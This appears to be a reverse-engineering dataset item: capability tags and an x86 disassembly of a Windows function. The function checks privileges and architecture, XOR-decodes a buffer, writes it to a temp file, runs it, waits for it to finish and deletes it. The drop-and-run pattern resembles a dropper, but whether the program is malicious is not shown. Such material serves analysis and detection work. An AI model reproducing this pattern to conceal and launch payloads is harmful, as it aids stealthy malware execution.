Function at 0x402540
Capabilities:
Compare security identifiers
Create process on windows
Delete file
Encode data using xor
Get common file path
Resolve function by parsing pe exports
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0x89c
mov eax, dword [0x420160]
xor eax, esp
mov dword [esp + 0x898], eax
mov eax, dword [esp + 0x8a0]
push pe_nt_image_headers32
mov dword [0x420cdc], eax
lea eax, [esp + 0x8c]
push 0
push eax
call fcn.00404c70
add esp, 0xc
mov dword [esp + 0x84], 0x114
lea eax, [esp + 0x84]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
cmp dword [esp + 0x94], 2
je 0x4025ac
push 0x418408
call fcn.00402cc0
add esp, 4
jmp 0x4026e3
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x14]
mov dword [esp + 0x8c], 0
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0x220
push 0x20
push 2
lea eax, [esp + 0xb4]
mov word [esp + 0xb8], 0x500
push eax
mov dword [esp + 0x40], 0
mov dword [esp + 0x44], 0
mov dword [esp + 0x3c], 0
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
lea eax, [esp + 0x18]
push eax
push 8
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov esi, dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
lea eax, [esp + 0x10]
push eax
push 0
push 0
push 2
push dword [esp + 0x28]
call esi
push dword [esp + 0x10]
call fcn.00406b3d
add esp, 4
mov ebx, eax
lea eax, [esp + 0x10]
push eax
push dword [esp + 0x14]
push ebx
push 2
push dword [esp + 0x28]
call esi
xor edi, edi
cmp dword [ebx], edi
jbe 0x402678
mov ebp, dword [sym.imp.ADVAPI32.dll_EqualSid]
lea esi, [ebx + 4]
nop
push dword [esi]
push dword [esp + 0x18]
call ebp
test eax, eax
jne 0x4026fc
inc edi
add esi, 8
cmp edi, dword [ebx]
jb 0x402660
push ebx
call fcn.00406b22
add esp, 4
push dword [esp + 0x18]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [esp + 0x14]
call dword [sym.imp.ADVAPI32.dll_FreeSid]
push 0x201
lea eax, [esp + 0x3b0]
push eax
push 0xffffffffffffffff
push 0x420040
push 1
push 0x4e3
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea eax, [esp + 0x3ac]
push eax
call fcn.00402cc0
add esp, 4
cmp byte [0x420040], 0
jne 0x4026df
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.SETUPAPI.dll_SetupDiEnumDeviceInterfaces]
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x898]
xor eax, eax
xor ecx, esp
call fcn.00403b83
add esp, 0x89c
ret 0x10
push ebx
call fcn.00406b22
mov ebp, dword [sym.imp.KERNEL32.dll_CloseHandle]
add esp, 4
push dword [esp + 0x18]
call ebp
push dword [esp + 0x14]
call dword [sym.imp.ADVAPI32.dll_FreeSid]
call fcn.00401260
test eax, eax
jne 0x4026df
push str.KERNEL32
mov dword [esp + 0x14], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.IsWow64Process
push eax
mov dword [0x420cd8], eax
call esi
mov edi, eax
test edi, edi
je 0x402a26
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call edi
test eax, eax
jne 0x402774
push 0x418470
call fcn.00402cc0
add esp, 4
jmp 0x4026df
cmp dword [esp + 0x10], 1
jne 0x402a26
lea eax, [esp + 0x1a8]
mov byte [esp + 0x1a8], 0
push eax
push 0x201
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
cmp byte [esp + 0x1a8], 0
je 0x4026df
push 0x41845c
push str.c9i_64
lea eax, [esp + 0x1b0]
push eax
lea eax, [esp + 0x5bc]
push 0
push eax
call fcn.00406c9a
lea eax, [esp + 0x24]
mov dword [esp + 0x28], 0
push eax
lea eax, [esp + 0x2c]
push eax
push 0
push 2
call fcn.00403af0
add esp, 0x24
test eax, eax
jne 0x4026df
xor esi, esi
mov dword [0x4200b4], 1
cmp dword [esp + 0x10], esi
jbe 0x402830
mov edi, dword [0x4200ac]
mov edx, 1
mov ebx, dword [0x4200b0]
mov ecx, dword [esp + 0x14]
imul edx, edi
add edx, ebx
mov eax, edx
shr eax, 0x18
xor byte [ecx + esi], al
inc esi
cmp esi, dword [esp + 0x10]
jb 0x402812
mov dword [0x4200b4], edx
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea eax, [esp + 0x5c8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x40285e
push 0x9d
jmp 0x40288b
push 0
lea eax, [esp + 0x1c]
push eax
push dword [esp + 0x18]
push dword [esp + 0x20]
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x402886
mov eax, dword [esp + 0x18]
cmp eax, dword [esp + 0x10]
jne 0x402886
xor edi, edi
jmp 0x40289f
push 0xa2
push 0x12
push 0x4183b0
call fcn.00402cc0
mov edi, 0x12
add esp, 0xc
mov eax, dword [esp + 0x14]
test eax, eax
je 0x4028b0
push eax
call fcn.00406b22
add esp, 4
cmp esi, 0xffffffff
je 0x4028b8
push esi
call ebp
test edi, edi
jne 0x4026df
movzx eax, word [0x4200a8]
push eax
push str.ls.cadis.bg
lea eax, [esp + 0x3b4]
push str._s__hu
push eax
call fcn.00402d30
lea eax, [esp + 0x3bc]
push eax
lea eax, [esp + 0x5c4]
push eax
lea eax, [esp + 0x6cc]
push str._s__s
push eax
call fcn.00402d30
add esp, 0x20
mov dword [esp + 0x2c], 0x44
lea eax, [esp + 0x1c]
xorps xmm0, xmm0
movlpd qword [esp + 0x30], xmm0
movlpd qword [esp + 0x38], xmm0
push eax
lea eax, [esp + 0x30]
movlpd qword [esp + 0x44], xmm0
push eax
push edi
push edi
push 8
push edi
push edi
push edi
lea eax, [esp + 0x6d4]
movlpd qword [esp + 0x68], xmm0
push eax
push edi
movlpd qword [esp + 0x78], xmm0
movlpd qword [esp + 0x80], xmm0
movlpd qword [esp + 0x88], xmm0
movlpd qword [esp + 0x90], xmm0
movups xmmword [esp + 0x44], xmm0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x402a13
push 0xffffffffffffffff
push dword [esp + 0x20]
call dword [sym.imp.USER32.dll_WaitForInputIdle]
mov ebp, dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
lea eax, [esp + 0x10]
push eax
push dword [esp + 0x20]
call ebp
test eax, eax
je 0x402a13
mov esi, dword [sym.imp.USER32.dll_PeekMessageW]
mov edi, dword [sym.imp.USER32.dll_TranslateMessage]
mov ebx, dword [sym.imp.USER32.dll_DispatchMessageW]
nop dword [eax + eax]
cmp dword [esp + 0x10], 0x103
jne 0x402a13
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
push 0
push 0
push 0
lea eax, [esp + 0x80]
push eax
call esi
test eax, eax
je 0x402a04
nop dword [eax + eax]
lea eax, [esp + 0x70]
push eax
call edi
lea eax, [esp + 0x70]
push eax
call ebx
push 1
push 0
push 0
push 0
lea eax, [esp + 0x80]
push eax
call esi
test eax, eax
jne 0x4029e0
lea eax, [esp + 0x10]
push eax
push dword [esp + 0x20]
call ebp
test eax, eax
jne 0x4029b0
lea eax, [esp + 0x5b0]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x4026df
push str.GetModuleHandleA
push dword [0x420cd8]
call esi
mov dword [0x420c40], eax
call fcn.004024f0
test eax, eax
jne 0x402c67
call fcn.00402060
test eax, eax
jne 0x402c67
lea eax, [esp + 0x3ac]
push eax
call fcn.00401210
add esp, 4
test eax, eax
jne 0x402c74
mov byte [esp + 0x5ac], al
xorps xmm2, xmm2
xorps xmm1, xmm1
nop word [eax + eax]
movups xmm0, xmmword [eax + 0x420040]
paddb xmm2, xmm0
movups xmm0, xmmword [eax + 0x420050]
add eax, 0x20
paddb xmm1, xmm0
cmp eax, 0x40
jb 0x402a80
paddb xmm1, xmm2
movaps xmm0, xmm1
psrldq xmm0, 8
paddb xmm1, xmm0
movups xmm0, xmm1
psrldq xmm0, 4
paddb xmm1, xmm0
movups xmm0, xmm1
psrldq xmm0, 2
paddb xmm1, xmm0
movups xmm0, xmm1
psrldq xmm0, 1
paddb xmm1, xmm0
movd ecx, xmm1
add cl, byte [esp + 0x3ac]
mov byte [esp + 0x1a8], cl
cmp eax, 0x45
jae 0x402b03
nop dword [eax]
add cl, byte [eax + 0x420040]
inc eax
cmp eax, 0x45
jb 0x402af0
mov byte [esp + 0x1a8], cl
xor ebp, ebp
lea edi, [ebp + 1]
mov eax, 0x76b981db
mul edi
mov ecx, edi
lea esi, [ebp + 2]
shr edx, 5
imul eax, edx, 0x45
xor edx, edx
sub ecx, eax
movzx eax, byte [esp + ebp + 0x1a8]
div edi
mov bl, byte [ecx + 0x420040]
mov eax, 0x76b981db
mov ecx, edi
add bl, byte [esp + edx + 0x1a8]
add bl, byte [esp + ebp + 0x3ad]
mul esi
mov byte [esp + ebp + 0x1a9], bl
shr edx, 5
imul eax, edx, 0x45
xor edx, edx
sub ecx, eax
movzx eax, bl
div esi
mov bl, byte [ecx + 0x420041]
lea esi, [ebp + 3]
mov eax, 0x76b981db
mov ecx, edi
add bl, byte [esp + edx + 0x1a8]
add bl, byte [esp + ebp + 0x3ae]
mul esi
mov byte [esp + ebp + 0x1aa], bl
shr edx, 5
imul eax, edx, 0x45
xor edx, edx
sub ecx, eax
movzx eax, bl
div esi
mov cl, byte [ecx + 0x420042]
lea esi, [ebp + 4]
mov eax, 0x76b981db
add cl, byte [esp + edx + 0x1a8]
add cl, byte [esp + ebp + 0x3af]
mul esi
mov byte [esp + ebp + 0x1ab], cl
shr edx, 5
imul eax, edx, 0x45
xor edx, edx
sub edi, eax
movzx eax, cl
div esi
mov al, byte [edi + 0x420043]
add al, byte [esp + edx + 0x1a8]
add al, byte [esp + ebp + 0x3b0]
mov byte [esp + ebp + 0x1ac], al
mov ebp, esi
lea eax, [ebp + 1]
cmp eax, 0x201
jb 0x402b05
push dword [0x420cd8]
call fcn.004012e0
add esp, 4
test eax, eax
jne 0x402c74
lea eax, [esp + 0x3ac]
push 0x45
push eax
call fcn.00402d60
add esp, 8
test eax, eax
jne 0x402c74
nop dword [eax + eax]
lea eax, [esp + 0x1a8]
push eax
call fcn.004033c0
mov esi, eax
add esp, 4
test esi, esi
je 0x402c20
push esi
call fcn.00403280
add esp, 4
cmp esi, 0x11
jne 0x402c67
push 0
push 0x4184c8
push 0x4184e0
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
call fcn.00402520
call fcn.004020c0
jmp 0x4026df
push 0x418530
call fcn.00402cc0
add esp, 4
call fcn.00402520
call fcn.004020c0
jmp 0x4026df